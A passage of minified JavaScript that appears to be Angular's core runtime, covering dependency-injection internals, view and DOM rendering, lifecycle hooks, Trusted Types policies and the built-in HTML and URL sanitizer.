void(e[l+2]=o)}l++,null!==r&&l++,null!==o&&l++}-1!==v&&(e.splice(v,0,t),l=v+1),e.splice(l++,0,i),null!==r&&e.splice(l++,0,r),null!==o&&e.splice(l++,0,o)}function mi(e){return e!==Ve}function Ii(e){return 32767&e}function ji(e,t){let i=function Ai(e){return e>>16}(e),r=t;for(;i>0;)r=r[cn],i--;return r}let or=!0;function $2(e){const t=or;return or=e,t}const K2=255,Cr=5;let Rr=0;const _2={};function cr(e,t){const i=Fr(e,t);if(-1!==i)return i;const r=t[Qt];r.firstCreatePass&&(e.injectorIndex=t.length,Pr(r.data,e),Pr(t,null),Pr(r.blueprint,null));const o=V2(e,t),l=e.injectorIndex;if(mi(o)){const v=Ii(o),F=ji(o,t),Y=F[Qt].data;for(let me=0;me<8;me++)t[l+me]=F[v+me]|Y[v+me]}return t[l+8]=o,l}function Pr(e,t){e.push(0,0,0,0,0,0,0,0,t)}function Fr(e,t){return-1===e.injectorIndex||e.parent&&e.parent.injectorIndex===e.injectorIndex||null===t[e.injectorIndex+8]?-1:e.injectorIndex}function V2(e,t){if(e.parent&&-1!==e.parent.injectorIndex)return e.parent.injectorIndex;let i=0,r=null,o=t;for(;null!==o;){if(r=Dr(o),null===r)return Ve;if(i++,o=o[cn],-1!==r.injectorIndex)return r.injectorIndex|i<<16}return Ve}function Mr(e,t,i){!function qr(e,t,i){let r;"string"==typeof i?r=i.charCodeAt(0)||0:i.hasOwnProperty(Zt)&&(r=i[Zt]),null==r&&(r=i[Zt]=Rr++);const o=r&K2;t.data[e+(o>>Cr)]|=1<<o}(e,t,i)}function lr(e,t,i){if(i&Ie.Optional||void 0!==e)return e;q()}function Nr(e,t,i,r){if(i&Ie.Optional&&void 0===r&&(r=null),!(i&(Ie.Self|Ie.Host))){const o=e[In],l=m(void 0);try{return o?o.get(t,r,i&Ie.Optional):b(t,r,i&Ie.Optional)}finally{m(l)}}return lr(r,0,i)}function Hr(e,t,i,r=Ie.Default,o){if(null!==e){if(1024&t[h1]){const v=function q2(e,t,i,r,o){let l=e,v=t;for(;null!==l&&null!==v&&1024&v[h1]&&!(256&v[h1]);){const F=Z2(l,v,i,r|Ie.Self,_2);if(F!==_2)return F;let Y=l.parent;if(!Y){const me=v[li];if(me){const $e=me.get(i,_2,r);if($e!==_2)return $e}Y=Dr(v),v=v[cn]}l=Y}return o}(e,t,i,r,_2);if(v!==_2)return v}const l=Z2(e,t,i,r,_2);if(l!==_2)return l}return Nr(t,i,r,o)}function Z2(e,t,i,r,o){const l=function Q2(e){if("string"==typeof e)return e.charCodeAt(0)||0;const t=e.hasOwnProperty(Zt)?e[Zt]:void 0;return"number"==typeof t?t>=0?t&K2:ea:t}(i);if("function"==typeof l){if(!S1(t,e,r))return r&Ie.Host?lr(o,0,r):Nr(t,i,r,o);try{const v=l(r);if(null!=v||r&Ie.Optional)return v;q()}finally{wn()}}else if("number"==typeof l){let v=null,F=Fr(e,t),Y=Ve,me=r&Ie.Host?t[X1][V1]:null;for((-1===F||r&Ie.SkipSelf)&&(Y=-1===F?V2(e,t):t[F+8],Y!==Ve&&Br(r,!1)?(v=t[Qt],F=Ii(Y),t=ji(Y,t)):F=-1);-1!==F;){const $e=t[Qt];if(Vr(l,F,$e.data)){const ft=Xr(F,t,i,v,r,me);if(ft!==_2)return ft}Y=t[F+8],Y!==Ve&&Br(r,t[Qt].data[F+8]===me)&&Vr(l,F,t)?(v=$e,F=Ii(Y),t=ji(Y,t)):F=-1}}return o}function Xr(e,t,i,r,o,l){const v=t[Qt],F=v.data[e+8],$e=Jn(F,v,i,null==r?Hn(F)&&or:r!=v&&0!=(3&F.type),o&Ie.Host&&l===F);return null!==$e?k2(t,v,$e,F):_2}function Jn(e,t,i,r,o){const l=e.providerIndexes,v=t.data,F=1048575&l,Y=e.directiveStart,$e=l>>20,zt=o?F+$e:e.directiveEnd;for(let Nt=r?F:F+$e;Nt<zt;Nt++){const Kt=v[Nt];if(Nt<Y&&i===Kt||Nt>=Y&&Kt.type===i)return Nt}if(o){const Nt=v[Y];if(Nt&&pn(Nt)&&Nt.type===i)return Y}return null}function k2(e,t,i,r){let o=e[i];const l=t.data;if(function Ht(e){return e instanceof ht}(o)){const v=o;v.resolving&&function K(e,t){const i=t?`. Dependency path: ${t.join(" > ")} > ${e}`:"";throw new Q(-200,`Circular dependency in DI detected for ${e}${i}`)}(function k(e){return"function"==typeof e?e.name||e.toString():"object"==typeof e&&null!=e&&"function"==typeof e.type?e.type.name||e.type.toString():Ce(e)}(l[i]));const F=$2(v.canSeeViewProviders);v.resolving=!0;const Y=v.injectImpl?m(v.injectImpl):null;S1(e,r,Ie.Default);try{o=e[i]=v.factory(void 0,l,e,r),t.firstCreatePass&&i>=r.directiveStart&&function v1(e,t,i){const{ngOnChanges:r,ngOnInit:o,ngDoCheck:l}=t.type.prototype;if(r){const v=Ui(t);(i.preOrderHooks??(i.preOrderHooks=[])).push(e,v),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,v)}o&&(i.preOrderHooks??(i.preOrderHooks=[])).push(0-e,o),l&&((i.preOrderHooks??(i.preOrderHooks=[])).push(e,l),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,l))}(i,l[i],t)}finally{null!==Y&&m(Y),$2(F),v.resolving=!1,wn()}}return o}function Vr(e,t,i){return!!(i[t+(e>>Cr)]&1<<e)}function Br(e,t){return!(e&Ie.Self||e&Ie.Host&&t)}class O2{constructor(t,i){this._tNode=t,this._lView=i}get(t,i,r){return Hr(this._tNode,this._lView,t,xe(r),i)}}function ea(){return new O2(W1(),Tt())}function ta(e){return pt(()=>{const t=e.prototype.constructor,i=t[Rt]||xr(t),r=Object.prototype;let o=Object.getPrototypeOf(e.prototype).constructor;for(;o&&o!==r;){const l=o[Rt]||xr(o);if(l&&l!==i)return l;o=Object.getPrototypeOf(o)}return l=>new l})}function xr(e){return H(e)?()=>{const t=xr(z(e));return t&&t()}:ai(e)}function Dr(e){const t=e[Qt],i=t.type;return 2===i?t.declTNode:1===i?e[V1]:null}function oi(e){return function Jr(e,t){if("class"===t)return e.classes;if("style"===t)return e.styles;const i=e.attrs;if(i){const r=i.length;let o=0;for(;o<r;){const l=i[o];if(kn(l))break;if(0===l)o+=2;else if("number"==typeof l)for(o++;o<r&&"string"==typeof i[o];)o++;else{if(l===t)return i[o+1];o+=2}}}return null}(W1(),e)}const Ri="__parameters__",J2="__prop__metadata__";function d2(e){return function(...i){if(e){const r=e(...i);for(const o in r)this[o]=r[o]}}}function T2(e,t,i){return pt(()=>{const r=d2(t);function o(...l){if(this instanceof o)return r.apply(this,l),this;const v=new o(...l);return F.annotation=v,F;function F(Y,me,$e){const ft=Y.hasOwnProperty(Ri)?Y[Ri]:Object.defineProperty(Y,Ri,{value:[]})[Ri];for(;ft.length<=$e;)ft.push(null);return(ft[$e]=ft[$e]||[]).push(v),Y}}return i&&(o.prototype=Object.create(i.prototype)),o.prototype.ngMetadataName=e,o.annotationCls=o,o})}function dr(e,t,i,r){return pt(()=>{const o=d2(t);function l(...v){if(this instanceof l)return o.apply(this,v),this;const F=new l(...v);return function Y(me,$e){const ft=me.constructor,zt=ft.hasOwnProperty(J2)?ft[J2]:Object.defineProperty(ft,J2,{value:{}})[J2];zt[$e]=zt.hasOwnProperty($e)&&zt[$e]||[],zt[$e].unshift(F),r&&r(me,$e,...v)}}return i&&(l.prototype=Object.create(i.prototype)),l.prototype.ngMetadataName=e,l.annotationCls=l,l})}class yn{constructor(t,i){this._desc=t,this.ngMetadataName="InjectionToken",this.\\u0275prov=void 0,"number"==typeof i?this.__NG_ELEMENT_ID__=i:void 0!==i&&(this.\\u0275prov=Be({token:this,providedIn:i.providedIn||"root",factory:i.factory}))}get multi(){return this}toString(){return`InjectionToken ${this._desc}`}}class wr{}const ra=dr("ViewChildren",(e,t={})=>({selector:e,first:!1,isViewQuery:!0,descendants:!0,emitDistinctChangesOnly:!0,...t}),wr);function R2(e,t){e.forEach(i=>Array.isArray(i)?R2(i,t):t(i))}function Sr(e,t,i){t>=e.length?e.push(i):e.splice(t,0,i)}function X2(e,t){return t>=e.length-1?e.pop():e.splice(t,1)[0]}function er(e,t){const i=[];for(let r=0;r<e;r++)i.push(t);return i}function Pi(e,t,i){let r=M(e,t);return r>=0?e[1|r]=i:(r=~r,function sa(e,t,i,r){let o=e.length;if(o==t)e.push(i,r);else if(1===o)e.push(r,e[0]),e[0]=i;else{for(o--,e.push(e[o-1],e[o]);o>t;)e[o]=e[o-2],o--;e[t]=i,e[t+1]=r}}(e,r,t,i)),r}function jr(e,t){const i=M(e,t);if(i>=0)return e[1|i]}function M(e,t){return function p(e,t,i){let r=0,o=e.length>>i;for(;o!==r;){const l=r+(o-r>>1),v=e[l<<i];if(t===v)return l<<i;v>t?o=l:r=l+1}return~(o<<i)}(e,t,1)}const On=Ae(T2("Optional"),8),Yi=Ae(T2("SkipSelf"),4);var L2=(()=>((L2=L2||{})[L2.Important=1]="Important",L2[L2.DashCase=2]="DashCase",L2))();const ma=new Map;let eo=0;const ge="__ngContext__";function et(e,t){dn(t)?(e[ge]=t[$n],function _s(e){ma.set(e[$n],e)}(t)):e[ge]=t}let b2;function s2(e,t){return b2(e,t)}function C2(e){const t=e[N1];return Sn(t)?t[N1]:t}function $r(e){return zr(e[fn])}function ir(e){return zr(e[Y1])}function zr(e){for(;null!==e&&!Sn(e);)e=e[Y1];return e}function Kr(e,t,i,r,o){if(null!=r){let l,v=!1;Sn(r)?l=r:dn(r)&&(v=!0,r=r[w1]);const F=en(r);0===e&&null!==i?null==o?oo(t,i,F):Tr(t,i,F,o||null,!0):1===e&&null!==i?Tr(t,i,F,o||null,!0):2===e?function o4(e,t,i){const r=lo(e,t);r&&function n4(e,t,i,r){e.removeChild(t,i,r)}(e,r,t,i)}(t,F,v):3===e&&t.destroyNode(F),null!=l&&function Lc(e,t,i,r,o){const l=i[ri];l!==en(i)&&Kr(t,e,r,l,o);for(let F=ln;F<i.length;F++){const Y=i[F];ws(Y[Qt],Y,e,t,r,l)}}(t,e,l,i,o)}}function Ms(e,t,i){return e.createElement(t,i)}function no(e,t){const i=e[Nn],r=i.indexOf(t),o=t[N1];512&t[h1]&&(t[h1]&=-513,c2(o,-1)),i.splice(r,1)}function xs(e,t){if(e.length<=ln)return;const i=ln+t,r=e[i];if(r){const o=r[Pn];null!==o&&o!==e&&no(o,r),t>0&&(e[i-1][Y1]=r[Y1]);const l=X2(e,ln+t);!function Ko(e,t){ws(e,t,t[D1],2,null,null),t[w1]=null,t[V1]=null}(r[Qt],r);const v=l[An];null!==v&&v.detachView(l[Qt]),r[N1]=null,r[Y1]=null,r[h1]&=-65}return r}function ro(e,t){if(!(128&t[h1])){const i=t[D1];i.destroyNode&&ws(e,t,i,3,null,null),function qo(e){let t=e[fn];if(!t)return Ds(e[Qt],e);for(;t;){let i=null;if(dn(t))i=t[fn];else{const r=t[ln];r&&(i=r)}if(!i){for(;t&&!t[Y1]&&t!==e;)dn(t)&&Ds(t[Qt],t),t=t[N1];null===t&&(t=e),dn(t)&&Ds(t[Qt],t),i=t&&t[Y1]}t=i}}(t)}}function Ds(e,t){if(!(128&t[h1])){t[h1]&=-65,t[h1]|=128,function t4(e,t){let i;if(null!=e&&null!=(i=e.destroyHooks))for(let r=0;r<i.length;r+=2){const o=t[i[r]];if(!(o instanceof ht)){const l=i[r+1];if(Array.isArray(l))for(let v=0;v<l.length;v+=2){const F=o[l[v]],Y=l[v+1];bn(4,F,Y);try{Y.call(F)}finally{bn(5,F,Y)}}else{bn(4,o,l);try{l.call(o)}finally{bn(5,o,l)}}}}}(e,t),function e4(e,t){const i=e.cleanup,r=t[vn];let o=-1;if(null!==i)for(let l=0;l<i.length-1;l+=2)if("string"==typeof i[l]){const v=i[l+3];v>=0?r[o=v]():r[o=-v].unsubscribe(),l+=2}else{const v=r[o=i[l+1]];i[l].call(v)}if(null!==r){for(let l=o+1;l<r.length;l++)(0,r[l])();t[vn]=null}}(e,t),1===t[Qt].type&&t[D1].destroy();const i=t[Pn];if(null!==i&&Sn(t[N1])){i!==t[N1]&&no(i,t);const r=t[An];null!==r&&r.detachView(e)}!function ys(e){ma.delete(e[$n])}(t)}}function ao(e,t,i){return function so(e,t,i){let r=t;for(;null!==r&&40&r.type;)r=(t=r).parent;if(null===r)return i[w1];{const{componentOffset:o}=r;if(o>-1){const{encapsulation:l}=e.data[r.directiveStart+o];if(l===fe.None||l===fe.Emulated)return null}return _n(r,i)}}(e,t.parent,i)}function Tr(e,t,i,r,o){e.insertBefore(t,i,r,o)}function oo(e,t,i){e.appendChild(t,i)}function co(e,t,i,r,o){null!==r?Tr(e,t,i,r,o):oo(e,t,i)}function lo(e,t){return e.parentNode(t)}function T3(e,t,i){return k3(e,t,i)}let r4,fo,d4,po,k3=function L3(e,t,i){return 40&e.type?_n(e,i):null};function uo(e,t,i,r){const o=ao(e,r,t),l=t[D1],F=T3(r.parent||t[V1],r,t);if(null!=o)if(Array.isArray(i))for(let Y=0;Y<i.length;Y++)co(l,o,i[Y],F,!1);else co(l,o,i,F,!1);void 0!==r4&&r4(l,r,t,i,o)}function ho(e,t){if(null!==t){const i=t.type;if(3&i)return _n(t,e);if(4&i)return s4(-1,e[t.index]);if(8&i){const r=t.child;if(null!==r)return ho(e,r);{const o=e[t.index];return Sn(o)?s4(-1,o):en(o)}}if(32&i)return s2(t,e)()||en(e[t.index]);{const r=a4(e,t);return null!==r?Array.isArray(r)?r[0]:ho(C2(e[X1]),r):ho(e,t.next)}}return null}function a4(e,t){return null!==t?e[X1][V1].projection[t.projection]:null}function s4(e,t){const i=ln+e+1;if(i<t.length){const r=t[i],o=r[Qt].firstChild;if(null!==o)return ho(r,o)}return t[ri]}function c4(e,t,i,r,o,l,v){for(;null!=i;){const F=r[i.index],Y=i.type;if(v&&0===t&&(F&&et(en(F),r),i.flags|=2),32!=(32&i.flags))if(8&Y)c4(e,t,i.child,r,o,l,!1),Kr(t,e,o,F,l);else if(32&Y){const me=s2(i,r);let $e;for(;$e=me();)Kr(t,e,o,$e,l);Kr(t,e,o,F,l)}else 16&Y?I3(e,t,r,i,o,l):Kr(t,e,o,F,l);i=v?i.projectionNext:i.next}}function ws(e,t,i,r,o,l){c4(i,r,e.firstChild,t,o,l,!1)}function I3(e,t,i,r,o,l){const v=i[X1],Y=v[V1].projection[r.projection];if(Array.isArray(Y))for(let me=0;me<Y.length;me++)Kr(t,e,o,Y[me],l);else c4(e,t,Y,v[N1],o,l,!0)}function R3(e,t,i){""===i?e.removeAttribute(t,"class"):e.setAttribute(t,"class",i)}function P3(e,t,i){const{mergedAttrs:r,classes:o,styles:l}=i;null!==r&&rn(e,t,r),null!==o&&R3(e,t,o),null!==l&&function Oc(e,t,i){e.setAttribute(t,"style",i)}(e,t,l)}function Fa(e){return function l4(){if(void 0===fo&&(fo=null,ie.trustedTypes))try{fo=ie.trustedTypes.createPolicy("angular",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return fo}()?.createHTML(e)||e}function Fc(e){d4=e}function u4(){if(void 0===po&&(po=null,ie.trustedTypes))try{po=ie.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return po}function N3(e){return u4()?.createHTML(e)||e}function V3(e){return u4()?.createScriptURL(e)||e}class va{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see ${G})`}}class Nc extends va{getTypeName(){return"HTML"}}class Hc extends va{getTypeName(){return"Style"}}class Vc extends va{getTypeName(){return"Script"}}class Bc extends va{getTypeName(){return"URL"}}class B3 extends va{getTypeName(){return"ResourceURL"}}function Lr(e){return e instanceof va?e.changingThisBreaksApplicationSecurity:e}function Na(e,t){const i=function Uc(e){return e instanceof va&&e.getTypeName()||null}(e);if(null!=i&&i!==t){if("ResourceURL"===i&&"URL"===t)return!0;throw new Error(`Required a safe ${t}, got a ${i} (see ${G})`)}return i===t}function Gc(e){return new Nc(e)}function jc(e){return new Hc(e)}function U3(e){return new Vc(e)}function Yc(e){return new Bc(e)}function Wc(e){return new B3(e)}class $c{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const i=(new window.DOMParser).parseFromString(Fa(t),"text/html").body;return null===i?this.inertDocumentHelper.getInertBodyElement(t):(i.removeChild(i.firstChild),i)}catch{return null}}}class Kc{constructor(t){this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert")}getInertBodyElement(t){const i=this.inertDocument.createElement("template");return i.innerHTML=Fa(t),i}}const Qc=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:\\/?#]*(?:[\\/?#]|$))/i;function As(e){return(e=String(e)).match(Qc)?e:"unsafe:"+e}function kr(e){const t={};for(const i of e.split(","))t[i]=!0;return t}function Ss(...e){const t={};for(const i of e)for(const r in i)i.hasOwnProperty(r)&&(t[r]=!0);return t}const j3=kr("area,br,col,hr,img,wbr"),Y3=kr("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),W3=kr("rp,rt"),h4=Ss(j3,Ss(Y3,kr("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),Ss(W3,kr("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),Ss(W3,Y3)),f4=kr("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),$3=Ss(f4,kr("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,srcset,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),kr("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),qc=kr("script,style,template");class Jc{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let i=t.firstChild,r=!0;for(;i;)if(i.nodeType===Node.ELEMENT_NODE?r=this.startElement(i):i.nodeType===Node.TEXT_NODE?this.chars(i.nodeValue):this.sanitizedSomething=!0,r&&i.firstChild)i=i.firstChild;else for(;i;){i.nodeType===Node.ELEMENT_NODE&&this.endElement(i);let o=this.checkClobberedElement(i,i.nextSibling);if(o){i=o;break}i=this.checkClobberedElement(i,i.parentNode)}return this.buf.join("")}startElement(t){const i=t.nodeName.toLowerCase();if(!h4.hasOwnProperty(i))return this.sanitizedSomething=!0,!qc.hasOwnProperty(i);this.buf.push("<"),this.buf.push(i);const r=t.attributes;for(let o=0;o<r.length;o++){const l=r.item(o),v=l.name,F=v.toLowerCase();if(!$3.hasOwnProperty(F)){this.sanitizedSomething=!0;continue}let Y=l.value;f4[F]&&(Y=As(Y)),this.buf.push(" ",v,\'="\',K3(Y),\'"\')}return this.buf.push(">"),!0}endElement(t){const i=t.nodeName.toLowerCase();h4.hasOwnProperty(i)&&!j3.hasOwnProperty(i)&&(this.buf.push("</"),this.buf.push(i),this.buf.push(">"))}chars(t){this.buf.push(K3(t))}checkClobberedElement(t,i){if(i&&(t.compareDocumentPosition(i)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return i}}const Xc=/[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]/g,el=/([^\\#-~ |!])/g;function K3(e){return e.replace(/&/g,"&").replace(Xc,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(el,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let mo;function Z3(e,t){let i=null;try{mo=mo||function G3(e){const t=new Kc(e);return function Zc(){try{return!!(new window.DOMParser).parseFromString(Fa(""),"text/html")}catch{return!1}}()?new $c(t):t}(e);let r=t?String(t):"";i=mo.getInertBodyElement(r);let o=5,l=r;do{if(0===o)throw new Error("Failed to sanitize html because the input is unstable");o--,r=l,l=i.innerHTML,i=mo.getInertBodyElement(r)}while(r!==l);return Fa((new Jc).sanitizeChildren(p4(i)||i))}finally{if(i){const r=p4(i)||i;for(;r.firstChild;)r.removeChild(r.firstChild)}}}function p4(e){return"content"in e&&function tl(e){return e.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===e.nodeName}(e)?e.content:null}var Si=(()=>((Si=Si||{})[Si.NONE=0]="NONE",Si[Si.HTML=1]="HTML",Si[Si.STYLE=2]="STYLE",Si[Si.SCRIPT=3]="SCRIPT",Si[Si.URL=4]="URL",Si[Si.RESOURCE_URL=5]="RESOURCE_URL",Si))();function Q3(e){const t=Es();return t?N3(t.sanitize(Si.HTML,e)||""):Na(e,"HTML")?N3(Lr(e)):Z3(function F3(){return void 0!==d4?d4:typeof document<"u"?document:void 0}(),Ce(e))}function q3(e){const t=Es();return t?t.sanitize(Si.STYLE,e)||"":Na(e,"Style")?Lr(e):Ce(e)}function m4(e){const t=Es();return t?t.sanitize(Si.URL,e)||"":Na(e,"URL")?Lr(e):As(Ce(e))}function J3(e){const t=Es();if(t)return V3(t.sanitize(Si.RESOURCE_URL,e)||"");if(Na(e,"ResourceURL"))return V3(Lr(e));throw new Q(904,!1)}function X3(e,t,i){return function al(e,t){return"src"===t&&("embed"===e||"frame"===e||"iframe"===e||"media"===e||"script"===e)||"href"===t&&("base"===e||"link"===e)?J3:m4}(t,i)(e)}function Es(){const e=Tt();return e&&e[ci]}const g4=new yn("ENVIRONMENT_INITIALIZER"),e6=new yn("INJECTOR",-1),t6=new yn("INJECTOR_DEF_TYPES");class n6{get(t,i=Vt){if(i===Vt){const r=new Error(`NullInjectorError: No provider for ${_(t)}!`);throw r.name="NullInjectorError",r}return i}}function sl(e){return{\\u0275providers:e}}function ol(...e){return{\\u0275providers:v4(0,e),\\u0275fromNgModule:!0}}function v4(e,...t){const i=[],r=new Set;let o;return R2(t,l=>{const v=l;_4(v,i,[],r)&&(o||(o=[]),o.push(v))}),void 0!==o&&i6(o,i),i}function i6(e,t){for(let i=0;i<e.length;i++){const{providers:o}=e[i];y4(o,l=>{t.push(l)})}}function _4(e,t,i,r){if(!(e=z(e)))return!1;let o=null,l=ct(e);const v=!l&&O(e);if(l||v){if(v&&!v.standalone)return!1;o=e}else{const Y=e.ngModule;if(l=ct(Y),!l)return!1;o=Y}const F=r.has(o);if(v){if(F)return!1;if(r.add(o),v.dependencies){const Y="function"==typeof v.dependencies?v.dependencies():v.dependencies;for(const me of Y)_4(me,t,i,r)}}else{if(!l)return!1;{if(null!=l.imports&&!F){let me;r.add(o);try{R2(l.imports,$e=>{_4($e,t,i,r)&&(me||(me=[]),me.push($e))})}finally{}void 0!==me&&i6(me,t)}if(!F){const me=ai(o)||(()=>new o);t.push({provide:o,useFactory:me,deps:at},{provide:t6,useValue:o,multi:!0},{provide:g4,useValue:()=>Pe(o),multi:!0})}const Y=l.providers;null==Y||F||y4(Y,$e=>{t.push($e)})}}return o!==e&&void 0!==e.providers}function y4(e,t){for(let i of e)j(i)&&(i=i.\\u0275providers),Array.isArray(i)?y4(i,t):t(i)}const cl=f({provide:String,useValue:f});function b4(e){return null!==e&&"object"==typeof e&&cl in e}function _a(e){return"function"==typeof e}const C4=new yn("Set Injector scope."),go={},dl={};let M4;function vo(){return void 0===M4&&(M4=new n6),M4}class ya{}class s6 extends ya{get destroyed(){return this._destroyed}constructor(t,i,r,o){super(),this.parent=i,this.source=r,this.scopes=o,this.records=new Map,this._ngOnDestroyHooks=new Set,this._onDestroyHooks=[],this._destroyed=!1,D4(t,v=>this.processProvider(v)),this.records.set(e6,Ha(void 0,this)),o.has("environment")&&this.records.set(ya,Ha(void 0,this));const l=this.records.get(C4);null!=l&&"string"==typeof l.value&&this.scopes.add(l.value),this.injectorDefTypes=new Set(this.get(t6.multi,at,Ie.Self))}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{for(const t of this._ngOnDestroyHooks)t.ngOnDestroy();for(const t of this._onDestroyHooks)t()}finally{this.records.clear(),this._ngOnDestroyHooks.clear(),this.injectorDefTypes.clear(),this._onDestroyHooks.length=0}}onDestroy(t){this._onDestroyHooks.push(t)}runInContext(t){this.assertNotDestroyed();const i=Fe(this),r=m(void 0);try{return t()}finally{Fe(i),m(r)}}get(t,i=Vt,r=Ie.Default){this.assertNotDestroyed(),r=xe(r);const o=Fe(this),l=m(void 0);try{if(!(r&Ie.SkipSelf)){let F=this.records.get(t);if(void 0===F){const Y=function ml(e){return"function"==typeof e||"object"==typeof e&&e instanceof yn}(t)&&w(t);F=Y&&this.injectableDefInScope(Y)?Ha(x4(t),go):null,this.records.set(t,F)}if(null!=F)return this.hydrate(t,F)}return(r&Ie.Self?vo():this.parent).get(t,i=r&Ie.Optional&&i===Vt?null:i)}catch(v){if("NullInjectorError"===v.name){if((v[qt]=v[qt]||[]).unshift(_(t)),o)throw v;return function Ct(e,t,i,r){const o=e[qt];throw t[_t]&&o.unshift(t[_t]),e.message=function jt(e,t,i,r=null){e=e&&"\\n"===e.charAt(0)&&e.charAt(1)==It?e.slice(2):e;let o=_(t);if(Array.isArray(t))o=t.map(_).join(" -> ");else if("object"==typeof t){let l=[];for(let v in t)if(t.hasOwnProperty(v)){let F=t[v];l.push(v+":"+("string"==typeof F?JSON.stringify(F):_(F)))}o=`{${l.join(", ")}}`}return`${i}${r?"("+r+")":""}[${o}]: ${e.replace(c1,"\\n ")}`}("\\n"+e.message,o,i,r),e[u1]=o,e[qt]=null,e}(v,t,"R3InjectorError",this.source)}throw v}finally{m(l),Fe(o)}}resolveInjectorInitializers(){const t=Fe(this),i=m(void 0);try{const r=this.get(g4.multi,at,Ie.Self);for(const o of r)o()}finally{Fe(t),m(i)}}toString(){const t=[],i=this.records;for(const r of i.keys())t.push(_(r));return`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new Q(205,!1)}processProvider(t){let i=_a(t=z(t))?t:z(t&&t.provide);const r=function hl(e){return b4(e)?Ha(void 0,e.useValue):Ha(o6(e),go)}(t);if(_a(t)||!0!==t.multi)this.records.get(i);else{let o=this.records.get(i);o||(o=Ha(void 0,go,!0),o.factory=()=>J(o.multi),this.records.set(i,o)),i=t,o.multi.push(t)}this.records.set(i,r)}hydrate(t,i){return i.value===go&&(i.value=dl,i.value=i.factory()),"object"==typeof i.value&&i.value&&function pl(e){return null!==e&&"object"==typeof e&&"function"==typeof e.ngOnDestroy}(i.value)&&this._ngOnDestroyHooks.add(i.value),i.value}injectableDefInScope(t){if(!t.providedIn)return!1;const i=z(t.providedIn);return"string"==typeof i?"any"===i||this.scopes.has(i):this.injectorDefTypes.has(i)}}function x4(e){const t=w(e),i=null!==t?t.factory:ai(e);if(null!==i)return i;if(e instanceof yn)throw new Q(204,!1);if(e instanceof Function)return function ul(e){const t=e.length;if(t>0)throw er(t,"?"),new Q(204,!1);const i=function _e(e){return e&&(e[Je]||e[Dt])||null}(e);return null!==i?()=>i.factory(e):()=>new e}(e);throw new Q(204,!1)}function o6(e,t,i){let r;if(_a(e)){const o=z(e);return ai(o)||x4(o)}if(b4(e))r=()=>z(e.useValue);else if(function a6(e){return!(!e||!e.useFactory)}(e))r=()=>e.useFactory(...J(e.deps||[]));else if(function r6(e){return!(!e||!e.useExisting)}(e))r=()=>Pe(z(e.useExisting));else{const o=z(e&&(e.useClass||e.provide));if(!function fl(e){return!!e.deps}(e))return ai(o)||x4(o);r=()=>new o(...J(e.deps))}return r}function Ha(e,t,i=!1){return{factory:e,value:t,multi:i?[]:void 0}}function D4(e,t){for(const i of e)Array.isArray(i)?D4(i,t):i&&j(i)?D4(i.\\u0275providers,t):t(i)}class gl{}class w4{}class _l{resolveComponentFactory(t){throw function vl(e){const t=Error(`No component factory found for ${_(e)}. Did you add it to @NgModule.entryComponents?`);return t.ngComponent=e,t}(t)}}let zs=(()=>{class e{}return e.NULL=new _l,e})();function yl(){return Va(W1(),Tt())}function Va(e,t){return new Ts(_n(e,t))}let Ts=(()=>{class e{constructor(i){this.nativeElement=i}}return e.__NG_ELEMENT_ID__=yl,e})();function bl(e){return e instanceof Ts?e.nativeElement:e}class l6{}let Cl=(()=>{class e{}return e.__NG_ELEMENT_ID__=()=>function Ml(){const e=Tt(),i=Vn(W1().index,e);return(dn(i)?i:e)[D1]}(),e})(),xl=(()=>{class e{}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:()=>null}),e})();class 